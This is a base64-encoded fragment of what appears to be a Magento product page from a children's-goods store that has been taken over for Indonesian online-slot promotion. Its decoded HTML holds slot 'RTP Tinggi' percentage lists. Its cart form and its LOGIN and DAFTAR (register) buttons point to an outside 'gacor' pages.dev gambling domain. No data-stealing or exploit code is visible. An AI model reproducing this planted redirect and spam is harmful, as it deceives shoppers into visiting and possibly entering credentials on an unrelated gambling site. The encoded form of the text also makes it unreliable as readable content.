ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXN0YXR1cyI%2BPHNwYW4%2BU3RhdHVzPC9zcGFuPjxiPlJUUCBUaW5nZ2k8L2I%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtcm93Ij48ZGl2IGNsYXNzPSJydHAtZ29sZC1uYW1lIj5TdGFybGlnaHQgUHJpbmNlc3M8c3BhbiBjbGFzcz0icnRwLWdvbGQtcHJvdmlkZXIiPlByYWdtYXRpYyBQbGF5PC9zcGFuPjwvZGl2PjxzcGFuIGNsYXNzPSJydHAtZ29sZC12YWx1ZSI%2BOTYuNTAlPC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC10cmFjayI%2BPHNwYW4gY2xhc3M9InJ0cC1nb2xkLWZpbGwiIHN0eWxlPSJ3aWR0aDo5Ni41JSI%2BPC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC1zdGF0dXMiPjxzcGFuPlN0YXR1czwvc3Bhbj48Yj5SVFAgVGluZ2dpPC9iPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtaXRlbSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXJvdyI%2BPGRpdiBjbGFzcz0icnRwLWdvbGQtbmFtZSI%2BV2lsZCBCYW5kaXRvPHNwYW4gY2xhc3M9InJ0cC1nb2xkLXByb3ZpZGVyIj5QRyBTb2Z0PC9zcGFuPjwvZGl2PjxzcGFuIGNsYXNzPSJydHAtZ29sZC12YWx1ZSI%2BOTYuNzMlPC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC10cmFjayI%2BPHNwYW4gY2xhc3M9InJ0cC1nb2xkLWZpbGwiIHN0eWxlPSJ3aWR0aDo5Ni43MyUiPjwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtc3RhdHVzIj48c3Bhbj5TdGF0dXM8L3NwYW4%2BPGI%2BUlRQIFRpbmdnaTwvYj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0icnRwLWdvbGQtbm90ZSI%2BUGVyc2VudGFzZSBiZXJzaWZhdCBpbmZvcm1hc2kgZGFuIHRpZGFrIG1lbmphbWluIGhhc2lsIHBlcm1haW5hbi48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VjdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZHVjdC1jb25maWciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LWFkZC1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gZGF0YS1wcm9kdWN0LXNrdT0iNTIxMzU1NDUtQVlPMDEiIGFjdGlvbj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIiBtZXRob2Q9InBvc3QiIGlkPSJwcm9kdWN0X2FkZHRvY2FydF9mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icHJvZHVjdCIgdmFsdWU9IjYwMDE5MyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNlbGVjdGVkX2NvbmZpZ3VyYWJsZV9vcHRpb24iIHZhbHVlPSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWxhdGVkX3Byb2R1Y3QiIGlkPSJyZWxhdGVkLXByb2R1Y3RzLWZpZWxkIiB2YWx1ZT0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaXRlbSIgdmFsdWU9IjYwMDE5MyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmb3JtX2tleSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iYlB6VHVNMHdFU2MxYkRlaSI%2BICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3Qtb3B0aW9ucy13cmFwcGVyIiBpZD0icHJvZHVjdC1vcHRpb25zLXdyYXBwZXIiIGRhdGEtaGFzcmVxdWlyZWQ9IiogV2FqaWIgZGlpc2kiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWVsZHNldCIgdGFiaW5kZXg9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzd2F0Y2gtb3B0IiBkYXRhLXJvbGU9InN3YXRjaC1vcHRpb25zIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LW9wdGlvbnMtYm90dG9tIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm94LXRvY2FydCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpZWxkc2V0IGZpZWxkc2V0LWN1c3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWVsZCBxdHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImxhYmVsIiBmb3I9InF0eSI%2BPHNwYW4%2BY2hvb3NlIHF0eTwvc3Bhbj48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250cm9sIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJxdHkiIGlkPSJxdHkiIHZhbHVlPSIxIiB0aXRsZT0iUXR5IiBjbGFzcz0iaW5wdXQtdGV4dCBxdHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj4xPC9vcHRpb24%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPjI8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI%2BMzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij40PC9vcHRpb24%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPjU8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNiI%2BNjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij43PC9vcHRpb24%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjgiPjg8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOSI%2BOTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMCI%2BMTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY%2BPHNwYW4gc3R5bGU9ImNvbG9yOiByZWQiIGlkPSJzaG93X21lc3NhZ2UiPjwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idmFsX2hpZGRlbiIgaWQ9InZhbF9oaWRkZW4iIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgdGl0bGU9ImFkZCB0byBjYXJ0IiBjbGFzcz0iYWN0aW9uIHByaW1hcnkgdG9jYXJ0IiBpZD0icHJvZHVjdC1hZGR0b2NhcnQtYnV0dG9uIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5MT0dJTjwvc3Bhbj48L2J1dHRvbj48L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgY2xhc3M9ImFjdGlvbiB0b3dpc2hsaXN0IiAgZGF0YS1hY3Rpb249ImFkZC10by13aXNobGlzdCI%2BPHNwYW4%2BREFGVEFSPC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L3gtbWFnZW50by1pbml0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImJvZHkiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFkZFRvV2lzaGxpc3QiOiB7InByb2R1Y3RUeXBlIjoiY29uZmlndXJhYmxlIiwiZ2lmdGNhcmRJbmZvIjoiW2lkXj1naWZ0Y2FyZF0ifSAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tUHJvZHVjdCB2aWRlbyBsb2dpYy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiI3Byb2R1Y3RfYWRkdG9jYXJ0X2Zvcm0iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fQ2F0YWxvZy9wcm9kdWN0L3ZpZXcvdmFsaWRhdGlvbiI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJhZGlvQ2hlY2tib3hDbG9zZXN0IjogIi5uZXN0ZWQiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiI3Byb2R1Y3RfYWRkdG9jYXJ0X2Zvcm0iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNhdGFsb2dBZGRUb0NhcnQiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJiaW5kU3VibWl0IjogdHJ1ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC94LW1hZ2VudG8taW5pdCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJbZGF0YS1yb2xlPXByaWNlQm94XVtkYXRhLXByaWNlLWJveD1wcm9kdWN0LWlkLTYwMDE5M10iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByaWNlQm94IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicHJpY2VDb25maWciOiAgeyJwcm9kdWN0SWQiOjYwMDE5MywicHJpY2VGb3JtYXQiOnsicGF0dGVybiI6IlJwICVzIiwicHJlY2lzaW9uIjoyLCJyZXF1aXJlZFByZWNpc2lvbiI6MCwiZGVjaW1hbFN5bWJvbCI6IiwiLCJncm91cFN5bWJvbCI6Ii4iLCJncm91cExlbmd0aCI6MywiaW50ZWdlclJlcXVpcmVkIjpmYWxzZX0sInByaWNlcyI6eyJiYXNlT2xkUHJpY2UiOnsiYW1vdW50Ijo4ODgsImFkanVzdG1lbnRzIjpbXX0sIm9sZFByaWNlIjp7ImFtb3VudCI6ODg4LCJhZGp1c3RtZW50cyI6W119LCJiYXNlUHJpY2UiOnsiYW1vdW50Ijo4ODgsImFkanVzdG1lbnRzIjpbXX0sImZpbmFsUHJpY2UiOnsiYW1vdW50Ijo4ODgsImFkanVzdG1lbnRzIjpbXX19LCJpZFN1ZmZpeCI6Il9jbG9uZSIsInRpZXJQcmljZXMiOltdLCJjYWxjdWxhdGlvbkFsZ29yaXRobSI6IlVOSVRfQkFTRV9DQUxDVUxBVElPTiJ9ICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIDxzY3JpcHQ%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIGRpdiwgb3BlbiB0aGUgcG9wdXAKICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcG9wdXAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2l6ZS1jaGFydCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcHVwLmNsYXNzTGlzdC50b2dnbGUoInNob3ciKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4gLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgZGF0YS1icmVlemU%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlcXVpcmUoWydqcXVlcnknXSwgKCQpID0%2BIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gR2V0IHRoZSBtb2RhbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBtb2RhbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJteU1vZGFscyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBHZXQgdGhlIDxzcGFuPiBlbGVtZW50IHRoYXQgY2xvc2VzIHRoZSBtb2RhbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBzcGFuID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiY2xvc2UtaWNvbiIpWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBXaGVuIHRoZSB1c2VyIGNsaWNrcyB0aGUgYnV0dG9uLCBvcGVuIHRoZSBtb2RhbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNteUJ0bnMnKS5vbigiY2xpY2siLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNteU1vZGFscycpLnNob3coKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gV2hlbiB0aGUgdXNlciBjbGlja3MgdGhlIGJ1dHRvbiwgb3BlbiB0aGUgbW9kYWwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCcjbXlCdG5zJykub24oImNsaWNrIiwgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCcjbXlNb2RhbHMnKS5zaG93KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gV2hlbiB0aGUgdXNlciBjbGlja3MgdGhlIGJ1dHRvbiwgY2xvc2UgdGhlIG1vZGFsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnLmNsb3NlLWljb24nKS5vbigiY2xpY2siLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJyNteU1vZGFscycpLmhpZGUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gV2hlbiB0aGUgdXNlciBjbGlja3Mgb24gPHNwYW4%2BICh4KSwgY2xvc2UgdGhlIG1vZGFsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCF0eXBlb2Ygc3BhbiA9PT0gJ3VuZGVmaW5lZCcpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGFuLm9uY2xpY2sgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1vZGFsLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFdoZW4gdGhlIHVzZXIgY2xpY2tzIGFueXdoZXJlIG91dHNpZGUgb2YgdGhlIG1vZGFsLCBjbG9zZSBpdAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5vbmNsaWNrID0gZnVuY3Rpb24oZXZlbnQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChldmVudC50YXJnZXQgPT0gbW9kYWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbW9kYWwuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHlsZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogQWRkIEFuaW1hdGlvbiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICNteU1vZGFsc3sKICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBteW1vdmVzcyAyczsKICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uLWZpbGwtbW9kZTogZm9yd2FyZHM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICBAa2V5ZnJhbWVzIG15bW92ZXNzIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZnJvbSB7Ym90dG9tOiAwcHg7fQogICAgICAgICAgICAgICAgICAgICAgICAgICB0byB7Ym90dG9tOiAyMDBweDt9CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaDUjY29udGVudC1iYWJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb3RoZXJjYXJlIDIwMjAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzJweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE1MCU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0wLjAxMWVtOwogICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzE2NUM3RDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICBoNSNjb250ZW50LWJhYnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogJ01vdGhlcmNhcmUgMjAyMCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzMnB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMTUwJTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICAgICAgICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogLTAuMDExZW07CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjMTY1QzdEOwogICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxZW07CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgYS5zaXplY2hhcnQtbGlua3sKICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgICAgICAgICB0b3A6IC0yMC41ZW07CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMTlweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uLWxpbmU6IHVuZGVybGluZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGxvd2VyY2FzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMxNjVDN0Q7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnbW90aGVyY2FyZV8yMDIwLXJlZ3VsYXItd2ViZm9udCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpewogICAgICAgICAgICAgICAgICAgICAgICAgICBhLnNpemVjaGFydC1saW5rewogICAgICAgICAgICAgICAgICAgICAgICAgICB0b3A6IC0xNy41ZW07CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGFyaW5nLWJ1dHRvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWw%2BU2hhcmUgcHJvZHVjdDo8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGFyZXRoaXMtaW5saW5lLXNoYXJlLWJ1dHRvbnMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy9wbGF0Zm9ybS1hcGkuc2hhcmV0aGlzLmNvbS9qcy9zaGFyZXRoaXMuanMjcHJvcGVydHk9NThhZmRlZTBlZWFiNWQwMDEyNWU4ZmQ2JnByb2R1Y3Q9aW5saW5lLXNoYXJlLWJ1dHRvbnMiPjwvc2NyaXB0Pi0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0nLy9wbGF0Zm9ybS1hcGkuc2hhcmV0aGlzLmNvbS9qcy9zaGFyZXRoaXMuanMjcHJvcGVydHk9NWJhZjAzYTk3NTJlZjcwMDExZWZjZWEwJnByb2R1Y3Q9aW5saW5lLXNoYXJlLWJ1dHRvb